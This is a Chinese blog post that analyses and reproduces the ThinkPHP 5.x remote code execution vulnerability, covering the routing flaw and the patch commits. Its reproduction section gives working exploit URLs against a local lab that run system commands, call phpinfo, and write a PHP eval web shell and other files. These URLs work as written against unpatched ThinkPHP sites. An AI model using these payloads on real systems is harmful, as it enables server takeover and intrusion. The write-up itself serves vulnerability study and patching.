ThinkPHP 5.x远程命令执行漏洞分析与复现

绝地灬酷狼 2024-04-07 10:55 100阅读 0赞

## 0x00 前言 ##

ThinkPHP官方2018年12月9日发布重要的[安全更新][Link 1]，修复了一个严重的远程代码执行漏洞。该更新主要涉及一个安全更新，由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞，受影响的版本包括5.0和5.1版本，推荐尽快更新到最新版本。

## 0x01 影响范围 ##

5.x < 5.1.31, <= 5.0.23

## 0x02 漏洞分析 ##

Thinkphp v5.0.x补丁地址: [https://github.com/top-think/framework/commit/b797d72352e6b4eb0e11b6bc2a2ef25907b7756f][https_github.com_top-think_framework_commit_b797d72352e6b4eb0e11b6bc2a2ef25907b7756f]

Thinkphp v5.1.x补丁地址: [https://github.com/top-think/framework/commit/802f284bec821a608e7543d91126abc5901b2815][https_github.com_top-think_framework_commit_802f284bec821a608e7543d91126abc5901b2815]

路由信息中controller的部分进行了过滤，可知问题出现在路由调度时

关键代码：

![d5585fb6f10b0f0433a3e1f477247a48.png][]

在修复之前程序未对控制器进行过滤，导致攻击者可以通过引入\\符号来调用任意类方法。

![dc5a1ea20163a9c7dfeeeefbde21ddcf.png][]

其中使用了$this->app->controller方法来实例化控制器，然后调用实例中的方法。跟进controller方法：

其中通过parseModuleAndClass方法解析出$module和$class，然后实例化$class。

![f2401b551d7003053e1792d29b94aa7d.png][]

而parseModuleAndClass方法中，当$name以反斜线\\开始时直接将其作为类名。利用命名空间的特点，如果可以控制此处的$name(即路由中的controller部分)，那么就可以实例化任何一个类。

接着，我们再往回看路由解析的代码。其中route/dispatch/Url.php:: parseUrl方法调用了route/Rule.php:: parseUrlPath来解析pathinfo中的路由信息

![d423dda015a698f647c66b5933790ccf.png][]

代码比较简单，就是使用/对$url进行分割，未进行任何过滤。

其中的路由url从Request::path()中获取

![c16f2e598f670ebfd30ede04e572599c.png][]

由于var\_pathinfo的默认配置为s，我们可利用$\_GET\['s'\]来传递路由信息，也可利用pathinfo来传递，但测试时windows环境下会将$\_SERVER\['pathinfo'\]中的\\替换为/。结合前面分析可得初步利用代码如下：index.php?s=index/\\namespace\\class/method ，这将会实例化\\namespace\\class类并执行method方法。

## 0x03漏洞利用 ##

docker漏洞环境源码：[https://github.com/vulnspy/thinkphp-5.1.29][https_github.com_vulnspy_thinkphp-5.1.29]

本地环境：thinkphp5.0.15+php5.6n+ apache2.0

[http://www.thinkphp.cn/donate/download/id/1125.html][http_www.thinkphp.cn_donate_download_id_1125.html]

1.利用system函数远程命令执行

http://localhost:9096/public/index.php?s=index/think\\app/invokefunction&function=call\_user\_func\_array&vars\[0\]=system&vars\[1\]\[\]=whoami

![6e02b4e1acab0ebec259d1aaa2014ae1.png][]

2.通过phpinfo函数写出phpinfo()的信息

http://localhost:9096/public/index.php?s=index/\\think\\app/invokefunction&function=call\_user\_func\_array&vars\[0\]=phpinfo&vars\[1\]\[\]=1

![c80a9cb8496939eaf3474f7a416baccd.png][]

3.写入shell:

[http://localhost:9096/public/index.php?s=/index/\\think\\app/invokefunction&function=call\_user\_func\_array&vars\[0\]=system&vars\[1\]\[\]=echo%20^%3C?php%20@eval($\_GET\[%22code%22\])?^%3E%3Eshell.php][http_localhost_9096_public_index.php_s_index_think_app_invokefunction_function_call_user_func_array_vars_0_system_vars_1_echo_20_3C_php_20_eval_GET_22code_22_3E_3Eshell.php]

![3abe56d76248a60067e96a8b78f6049c.png][]

或者

http://localhost:9096/index.php?s=index/think\\app/invokefunction&function=call\_user\_func\_array&vars\[0\]=file\_put\_contents&vars\[1\]\[\]=../test.php&vars\[1\]\[\]=<?php echo 'ok';?>

![2eb129cda640bafa1fe95778ffbe3b68.png][]

[Link 1]: https://blog.thinkphp.cn/869075
[https_github.com_top-think_framework_commit_b797d72352e6b4eb0e11b6bc2a2ef25907b7756f]: https://github.com/top-think/framework/commit/b797d72352e6b4eb0e11b6bc2a2ef25907b7756f
[https_github.com_top-think_framework_commit_802f284bec821a608e7543d91126abc5901b2815]: https://github.com/top-think/framework/commit/802f284bec821a608e7543d91126abc5901b2815
[d5585fb6f10b0f0433a3e1f477247a48.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/b85e3123a7854b03a4eb2bbfcb3fe6d1.png
[dc5a1ea20163a9c7dfeeeefbde21ddcf.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/742ee960a0cb403f881bbb958460f0c4.png
[f2401b551d7003053e1792d29b94aa7d.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/bcbe0f823e99484687c31cab69571918.png
[d423dda015a698f647c66b5933790ccf.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/ffe9e077c1a24682aa1809e82e7d7fd0.png
[c16f2e598f670ebfd30ede04e572599c.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/81b176250a1f4870b2b78f1d0ec2edbf.png
[https_github.com_vulnspy_thinkphp-5.1.29]: https://github.com/vulnspy/thinkphp-5.1.29
[http_www.thinkphp.cn_donate_download_id_1125.html]: http://www.thinkphp.cn/donate/download/id/1125.html
[6e02b4e1acab0ebec259d1aaa2014ae1.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/cfad9226394e46bc942aafecafaf60f1.png
[c80a9cb8496939eaf3474f7a416baccd.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/787e5eb8e9d749019518470433ffb41e.png
[http_localhost_9096_public_index.php_s_index_think_app_invokefunction_function_call_user_func_array_vars_0_system_vars_1_echo_20_3C_php_20_eval_GET_22code_22_3E_3Eshell.php]: http://localhost:9096/public/index.php?s=/index/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars%5b0%5d=system&vars%5b1%5d%5b%5d=echo%20%5e%3C?php%20@eval%28%24_GET%5b%22code%22%5d%29?%5e%3E%3Eshell.php
[3abe56d76248a60067e96a8b78f6049c.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/b378dbb7050149589cbdd1bdc1c073a5.png
[2eb129cda640bafa1fe95778ffbe3b68.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/c00ae64dc5a0477881d70ab5d08cd966.png